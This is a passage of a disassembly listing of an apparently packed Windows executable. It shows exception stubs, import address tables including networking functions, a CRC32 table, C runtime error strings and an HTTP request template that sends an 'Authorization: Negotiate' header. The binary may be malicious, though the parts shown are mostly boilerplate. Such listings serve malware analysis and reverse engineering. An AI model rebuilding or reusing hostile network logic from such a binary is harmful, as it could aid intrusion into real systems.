		push	esi
		mov	esi, ecx
		call	sub_41650A
		test	byte ptr [esp+8], 1
		jz	short loc_416535
		push	esi
		call	sub_40BE38
		pop	ecx


loc_416535:				; CODE XREF: .nsp0:0041652Cj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41653B	proc near		; CODE XREF: sub_4160E0+54p
					; sub_4161AB+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_417CB0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_417140	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_41653B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_416578	proc near		; DATA XREF: .nsp0:00417E5Co

; FUNCTION CHUNK AT 00402583 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_402583
sub_416578	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_416596
		mov	ecx, [ebp+8]
		jmp	loc_402583
; ---------------------------------------------------------------------------

locret_416596:				; CODE XREF: .nsp0:00416588j
		retn
; ---------------------------------------------------------------------------


loc_416597:				; DATA XREF: sub_40215Eo
		mov	eax, offset dword_417E60
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_402583
; ---------------------------------------------------------------------------


loc_4165AC:				; DATA XREF: .nsp0:00417E88o
		lea	ecx, [ebp-1Ch]
		jmp	loc_402583
; ---------------------------------------------------------------------------


loc_4165B4:				; DATA XREF: sub_4022FDo
		mov	eax, offset dword_417E8C
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 10h


loc_4165C0:				; DATA XREF: sub_402864o
		mov	eax, offset dword_417EDC
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_402583
; ---------------------------------------------------------------------------


loc_4165D4:				; DATA XREF: sub_4160E0o
		mov	eax, offset dword_417F78
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		jmp	sub_4164E7
; ---------------------------------------------------------------------------


loc_4165E8:				; DATA XREF: sub_41613Ao
		mov	eax, offset dword_417FA0
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4164E7
; ---------------------------------------------------------------------------


loc_4165FC:				; DATA XREF: sub_4161C8o
		mov	eax, offset dword_417FE8
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4164E7
; ---------------------------------------------------------------------------


loc_416610:				; DATA XREF: sub_416221o
		mov	eax, offset dword_418010
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4164E7
; ---------------------------------------------------------------------------


loc_416624:				; DATA XREF: sub_41627Eo
		mov	eax, offset dword_418038
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_402583
; ---------------------------------------------------------------------------


loc_416638:				; DATA XREF: sub_41630Co
		mov	eax, offset dword_4180A0
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4164E7
; ---------------------------------------------------------------------------


loc_41664C:				; DATA XREF: sub_416366o
		mov	eax, offset dword_4180C8
		jmp	loc_40BA83
; ---------------------------------------------------------------------------
		align 4
		dd 26Ah	dup(0)
dword_417000	dd 77E7C657h		; DATA XREF: .nsp0:00406074r
					; sub_40A1F9+24r ...
dword_417004	dd 77E6BD68h		; DATA XREF: sub_415DF7+173r
dword_417008	dd 77E77F2Eh		; DATA XREF: sub_415B4F+3Er
					; sub_415B4F+261r
dword_41700C	dd 77E762D0h		; DATA XREF: sub_415B4F+5Br
					; sub_415B4F+B9r
dword_417010	dd 77E70192h		; DATA XREF: sub_4155CD+F9r
dword_417014	dd 77E73FF9h		; DATA XREF: sub_414113+2Cr
dword_417018	dd 77E7FF2Eh		; DATA XREF: sub_413FE5:loc_414035r
					; sub_41405C:loc_4140AFr
dword_41701C	dd 77E7C866h		; DATA XREF: sub_413E07+3Fr
					; sub_413E07+12Dr
dword_417020	dd 77E641EBh		; DATA XREF: sub_413E07+59r
					; sub_413E07+8Dr
dword_417024	dd 77E7176Ch		; DATA XREF: sub_413DD8+8r
dword_417028	dd 77E7339Ch		; DATA XREF: sub_413DA0+Cr
dword_41702C	dd 77E7C9E7h		; DATA XREF: sub_413D82+5r
					; sub_413D93+6r
dword_417030	dd 77E78406h		; DATA XREF: sub_412D79+FFr
					; sub_412D79+166r ...
dword_417034	dd 77E79C3Dh		; DATA XREF: sub_412D79+158r
					; sub_41303D+143r
dword_417038	dd 77E7C931h		; DATA XREF: sub_412D79+19Dr
dword_41703C	dd 77E77EE1h		; DATA XREF: sub_412C47+9r
dword_417040	dd 77E61BE6h		; DATA XREF: sub_401141+1C0r
					; sub_401141+279r ...
dword_417044	dd 77F5157Dh		; DATA XREF: sub_401141+12Br
					; sub_401141+24Cr ...
dword_417048	dd 77E7AC37h		; DATA XREF: sub_401141+10Br
					; sub_401141+22Er ...
dword_41704C	dd 77E7A099h		; DATA XREF: sub_401141+58r
					; sub_401141+166r ...
dword_417050	dd 77E73C49h		; DATA XREF: sub_40154B+1B3r
					; sub_401704+251r ...
dword_417054	dd 77F7E300h		; DATA XREF: sub_40154B+D5r
dword_417058	dd 77F7E21Fh		; DATA XREF: sub_40154B+9Br
dword_41705C	dd 77E7751Ah		; DATA XREF: sub_40154B+2Cr
					; sub_4032EE+C9r ...
dword_417060	dd 77E7C706h		; DATA XREF: sub_401704+77r
dword_417064	dd 77F53275h		; DATA XREF: sub_401704+6Br
					; sub_401704+241r
dword_417068	dd 77E70F89h		; DATA XREF: sub_403145+Dr
					; sub_40CC92+Dr
dword_41706C	dd 77E75CB5h		; DATA XREF: sub_4032EE+465r
					; sub_403B83+DFr ...
dword_417070	dd 77E61BB8h		; DATA XREF: sub_4032EE+44Fr
					; sub_403B83+A7r ...
dword_417074	dd 77E77963h		; DATA XREF: sub_4032EE+224r
					; sub_403B83+B8r ...
dword_417078	dd 77E79D8Ch		; DATA XREF: sub_4032EE+137r
					; sub_4054C7+AEr ...
dword_41707C	dd 77E7A837h		; DATA XREF: sub_4032EE+5Dr
					; sub_405401+36r ...
dword_417080	dd 77E704FCh		; DATA XREF: sub_403B83+74r
					; sub_406422+C9r ...
dword_417084	dd 77E805D8h		; DATA XREF: sub_4045F0+13Ar
					; sub_4045F0+49Br ...
dword_417088	dd 77E7A5FDh		; DATA XREF: sub_4045F0+11r
					; sub_410715+15r ...
dword_41708C	dd 77E79F93h		; DATA XREF: sub_4045F0+2r
					; sub_4054C7+FBr ...
dword_417090	dd 77E76A60h		; DATA XREF: sub_4052BA+2Dr
dword_417094	dd 77E71B14h		; DATA XREF: sub_405344+26r
dword_417098	dd 77E7166Fh		; DATA XREF: sub_405344+1Dr
dword_41709C	dd 77E75090h		; DATA XREF: sub_40537F+69r
dword_4170A0	dd 77E74D76h		; DATA XREF: sub_40537F+36r
dword_4170A4	dd 77E77797h		; DATA XREF: sub_40537F+25r
dword_4170A8	dd 77E7011Ah		; DATA XREF: sub_405401+96r
dword_4170AC	dd 77E73CE2h		; DATA XREF: sub_405401+60r
dword_4170B0	dd 77E668D9h		; DATA XREF: sub_4054C7+15Dr
dword_4170B4	dd 77E70396h		; DATA XREF: sub_4054C7+126r
					; sub_406422+1BEr ...
dword_4170B8	dd 77E74CABh		; DATA XREF: sub_4054C7+10Fr
					; sub_406422+1A7r ...
dword_4170BC	dd 77E6AD34h		; DATA XREF: sub_4054C7+35r
					; sub_406BAB+1FB8r
dword_4170C0	dd 77E79924h		; DATA XREF: sub_411E1B+20Dr
					; sub_412C47+7Er ...
dword_4170C4	dd 77E77CCEh		; DATA XREF: sub_411E1B+DFr
					; sub_411E1B+137r ...
dword_4170C8	dd 77E65F4Ch		; DATA XREF: .nsp0:00405F93r
dword_4170CC	dd 77E79C90h		; DATA XREF: sub_4057AB+Cr
					; sub_40D167+10r
dword_4170D0	dd 77E616B4h		; DATA XREF: sub_405816+193r
					; sub_405AA1+1Fr ...
dword_4170D4	dd 77E706B7h		; DATA XREF: sub_405816+184r
					; sub_405AA1+10r ...
dword_4170D8	dd 77E7513Ch		; DATA XREF: .nsp0:00406000r
dword_4170DC	dd 77E73628h		; DATA XREF: sub_406422+326r
					; sub_406BAB+25FFr ...
dword_4170E0	dd 77E80656h		; DATA XREF: sub_406422+252r
dword_4170E4	dd 77E6BD13h		; DATA XREF: sub_406422:loc_4065E6r
dword_4170E8	dd 77E79D5Bh		; DATA XREF: sub_406422+70r
					; sub_406422+2FCr
dword_4170EC	dd 77E7C2C4h		; DATA XREF: sub_406422+69r
dword_4170F0	dd 77E71AFEh		; DATA XREF: sub_406BAB+1E75r
dword_4170F4	dd 77E76C1Ah		; DATA XREF: sub_40A1F9+1CFr
dword_4170F8	dd 77E64106h		; DATA XREF: sub_40A1F9+1B6r
dword_4170FC	dd 77E64006h		; DATA XREF: sub_40A1F9+19Fr
dword_417100	dd 77E75CEBh		; DATA XREF: sub_40AB8F+27r
dword_417104	dd 77F516F8h		; DATA XREF: sub_40B6FD+6Cr
					; sub_40C4F8+C6r ...
dword_417108	dd 77F51597h		; DATA XREF: sub_40B771+60r
					; sub_40EC83+2C5r ...
dword_41710C	dd 77F6183Eh		; DATA XREF: sub_41643Er
dword_417110	dd 77F5722Fh		; DATA XREF: sub_40C4F8+110r
					; sub_40C4F8+22Dr ...
dword_417114	dd 77E76E3Dh		; DATA XREF: sub_40CC92+6Cr
					; sub_414438+38r
dword_417118	dd 77E61608h		; DATA XREF: sub_40CC92+17r
dword_41711C	dd 77E6177Ah		; DATA XREF: sub_40D514+9Fr
					; sub_412D79+59r
dword_417120	dd 77E7C938h		; DATA XREF: sub_40D514+74r
dword_417124	dd 77E7C486h		; DATA XREF: sub_40D514+26r
dword_417128	dd 77E7AC5Eh		; DATA XREF: sub_40EA6B+54r
dword_41712C	dd 77E76E0Bh		; DATA XREF: sub_40EBB3+50r
dword_417130	dd 77E7C726h		; DATA XREF: sub_40EBB3+11r
dword_417134	dd 77E79E34h		; DATA XREF: sub_40EC83+240r
					; sub_40F757+120r ...
dword_417138	dd 77E7980Ah		; DATA XREF: sub_40F2B5+76r
					; sub_40F366+51r ...
dword_41713C	dd 77E73196h		; DATA XREF: sub_413DBC+Cr
dword_417140	dd 77E6D706h		; DATA XREF: sub_40FF0F+215r
					; sub_41653B+2Er
dword_417144	dd 77F522F2h		; DATA XREF: sub_411478+58r
dword_417148	dd 77E78B82h		; DATA XREF: sub_411848+84r
					; sub_411848+155r
dword_41714C	dd 77E77405h		; DATA XREF: sub_411E1B+5Er
					; sub_411E1B+A7r
dword_417150	dd 77E781F9h		; DATA XREF: sub_411E1B+42r
					; sub_411E1B+14Dr ...
dword_417154	dd 77E7849Fh		; DATA XREF: sub_41203F+48r
					; sub_41227E+14r ...
dword_417158	dd 77E7A13Fh		; DATA XREF: sub_4121D8+2Fr
dword_41715C	dd 77E6C703h		; DATA XREF: sub_4121D8+1Ar
dword_417160	dd 77E78C81h		; DATA XREF: sub_412573+4Fr
dword_417164	dd 77EB9A84h		; DATA XREF: sub_412765+138r
dword_417168	dd 77E9C5B1h		; DATA XREF: sub_412C47+11Fr
dword_41716C	dd 77E7C9E1h		; DATA XREF: sub_412C47+CEr
dword_417170	dd 77E67702h		; DATA XREF: sub_412C47:loc_412C76r
					; sub_412C47+E1r
		align 8
dword_417178	dd 71AB1836h		; DATA XREF: sub_4043F8+6Er
					; sub_404475+8Er
dword_41717C	dd 71AB41DAh		; DATA XREF: sub_403E11+47r
					; sub_4043F8+15r
dword_417180	dd 71AB155Ah		; DATA XREF: sub_403E11+9Dr
dword_417184	dd 71AB3ECEh		; DATA XREF: sub_403E11+C4r
dword_417188	dd 71AB5DE2h		; DATA XREF: sub_403E11+D8r
dword_41718C	dd 71AB868Dh		; DATA XREF: sub_403E11+17Er
dword_417190	dd 71AB12F8h		; DATA XREF: sub_402972+2Cr
					; sub_4043F8+35r
dword_417194	dd 71AB1746h		; DATA XREF: sub_402972+3Dr
					; sub_403E11+B3r ...
dword_417198	dd 71AB3E5Dh		; DATA XREF: sub_402972+50r
					; sub_4043F8+57r
dword_41719C	dd 71AB3F8Dh		; DATA XREF: sub_402972+7Br
					; sub_403E11+8Dr
dword_4171A0	dd 71AB5690h		; DATA XREF: sub_402972+B5r
					; sub_402972+28Br ...
dword_4171A4	dd 71AB1A6Dh		; DATA XREF: sub_402972+26Fr
					; sub_402972:loc_402DC8r ...
dword_4171A8	dd 71AB3C22h		; DATA XREF: sub_4023B8+AFr
					; sub_402972+15r ...
dword_4171AC	dd 71AB1AF4h		; DATA XREF: sub_4020C0+12r
					; sub_402972+A4r ...
dword_4171B0	dd 71AB1890h		; DATA XREF: sub_401F1D+4Cr
					; sub_403E11+115r
dword_4171B4	dd 71AB1B7Bh		; DATA XREF: sub_416438r
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4022FD+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_417200	dq 1.388888888888889e-2	; DATA XREF: sub_402112+2Fr
dbl_417208	dq 1.666666666666667e-1	; DATA XREF: sub_402112+15r
dbl_417210	dq 1.333333333333333	; DATA XREF: sub_40215E+7Ar
dword_417218	dd 2 dup(0)		; DATA XREF: sub_4022FD+4Do
					; sub_40263D+57o ...
dbl_417220	dq -3.0517578125e-5	; DATA XREF: sub_40301D+1Er
dword_417228	dd 0			; DATA XREF: sub_403245+24r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh
byte_417624	db 8Dh			; DATA XREF: sub_40D768+4Ar
		db 0EFh, 2, 2Dh
dbl_417628	dq 9.765625e-4		; DATA XREF: sub_4032EE+2B8r
					; sub_4032EE+2CDr ...
dbl_417630	dq 1.0			; DATA XREF: sub_40B7DA+6Cr
					; sub_40B923+6Cr ...
dword_417638	dd 0FFFFFFFFh, 40D5EBh,	40D5FFh	; DATA XREF: sub_40D514+5o
byte_417644	db 6			; DATA XREF: sub_40D768:loc_40D7BFr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .nsp0:off_41DBFCo
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .nsp0:off_41DBF8o
		align 4
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_40EA6B+8Eo
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_40EA6B+4Fo
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog_0		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .nsp0:off_41FC3Co
		align 10h
dbl_4177A0	dq 0.0			; DATA XREF: sub_4101C2+8Cr
					; sub_4101C2+ACr ...
dbl_4177A8	dq 4.195835e6		; DATA XREF: sub_4106D7+Fr
dbl_4177B0	dq 3.145727e6		; DATA XREF: sub_4106D7+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_410715+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_410715o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41083C+93o
		align 4
dword_4177E8	dd 0FFFFFFFFh, 410F27h,	410F31h, 0 ; DATA XREF:	sub_410EC0+5o
dword_4177F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_410FEF+5o
		dd offset loc_4110AD
		align 8
		dd offset sub_41108B
		dd offset sub_411095
dword_417810	dd 0FFFFFFFFh, 4112DDh,	4112E1h, 0 ; DATA XREF:	sub_411125+5o
dword_417820	dd 0FFFFFFFFh, 41133Fh,	411348h, 0 ; DATA XREF:	sub_4112E9+5o
dword_417830	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4113CC+5o
		dd offset loc_41141D
		align 10h
		dd offset loc_411409
		dd offset loc_41140D
dword_417848	dd 0FFFFFFFFh, 0	; DATA XREF: sub_411422+5o
		dd offset loc_411473
		align 8
		dd offset loc_41145F
		dd offset loc_411463
dword_417860	dd 2 dup(0)		; DATA XREF: sub_411E1B+36o
					; sub_413E07+39o ...
dword_417868	dd 0FFFFFFFFh, 411F2Bh,	411F2Fh, 0FFFFFFFFh, 411FDFh, 411FE3h
					; DATA XREF: sub_411E1B+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
		dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
		dd 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_420284o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41303D+119o
		align 4
asc_417B34	db 0Ah			; DATA XREF: sub_41303D+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41303D+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41303D+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41303D+7Do
		align 10h
dword_417B70	dd 0FFFFFFFFh, 413F00h,	413F04h	; DATA XREF: sub_413E07+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_414438+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_4149C4+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_4149C4+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_4149C4+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4151C8:loc_4152BDo
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4151C8+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4151C8+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4151C8+ADo
		align 10h
dword_417C10	dd 0FFFFFFFFh, 415D06h,	415D0Ah, 0FFFFFFFFh, 415D75h, 415D79h
					; DATA XREF: sub_415B4F+5o
		dd 417D38h
off_417C2C	dd offset loc_4162D8	; DATA XREF: sub_4160E0+4Do
					; sub_4162F4+Co
		dd offset sub_41619E
		dd offset sub_4162BB
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_4160E0+1Eo
		dd offset dword_417D70
off_417C4C	dd offset loc_416205	; DATA XREF: sub_41613A+4Eo
					; sub_4161C8+11o ...
		dd offset sub_41619E
		dd offset sub_4161AB
dword_417C58	dd 0FFFFFFFFh		; DATA XREF: sub_41613A+3Br
					; sub_416221+34r
		dd offset dword_417DC0
off_417C60	dd offset loc_4163C0	; DATA XREF: sub_41630C+4Do
					; sub_4163DC+Co
		dd offset sub_41619E
		dd offset sub_4163A3
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41630C+1Eo
		dd offset dword_417DF0
off_417C88	dd offset sub_416444	; DATA XREF: sub_416460+8o
					; sub_41649D+8o ...
		dd offset sub_4164FD
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4164FD+7o
		align 4
		dd offset dword_417E38
off_417CA8	dd offset loc_41651F	; DATA XREF: sub_41650Ao
					; .nsp0:off_4209A8o ...
		align 10h
dword_417CB0	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_41653B+Eo
		dd 3, 19930520h, 2 dup(0)
off_417CD0	dd offset off_4209A8	; DATA XREF: .nsp0:00417D20o
					; .nsp0:00417D54o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_417CE8	dd offset off_4209C0	; DATA XREF: .nsp0:00417D1Co
					; .nsp0:00417D50o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_417D00	dd offset off_4209E0	; DATA XREF: .nsp0:00417D18o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417D00
		dd offset off_417CE8
		dd offset off_417CD0
		dd 0
		db    0			; DATA XREF: .nsp0:00417D48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 417D18h, 3 dup(0)
		dd offset off_4209E0
		dd offset unk_417D28
		align 10h
		dd offset off_417CE8
		dd offset off_417CD0
dword_417D58	dd 4 dup(0)		; DATA XREF: .nsp0:00417D80o
		dd 2, 417D50h
dword_417D70	dd 3 dup(0)		; DATA XREF: .nsp0:00417C48o
		dd offset off_4209C0
		dd offset dword_417D58+8
		dd 0
off_417D88	dd offset off_420A00	; DATA XREF: .nsp0:00417DA0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417D88
		dd offset off_417CE8
		dd offset off_417CD0
dword_417DAC	dd 3 dup(0)		; DATA XREF: .nsp0:00417DD0o
		dd 3, 417DA0h
dword_417DC0	dd 3 dup(0)		; DATA XREF: .nsp0:00417C5Co
		dd offset off_420A00
		dd offset dword_417DAC+4
		dd offset off_417CD0
dword_417DD8	dd 4 dup(0)		; DATA XREF: .nsp0:00417E00o
		dd 1, 417DD4h
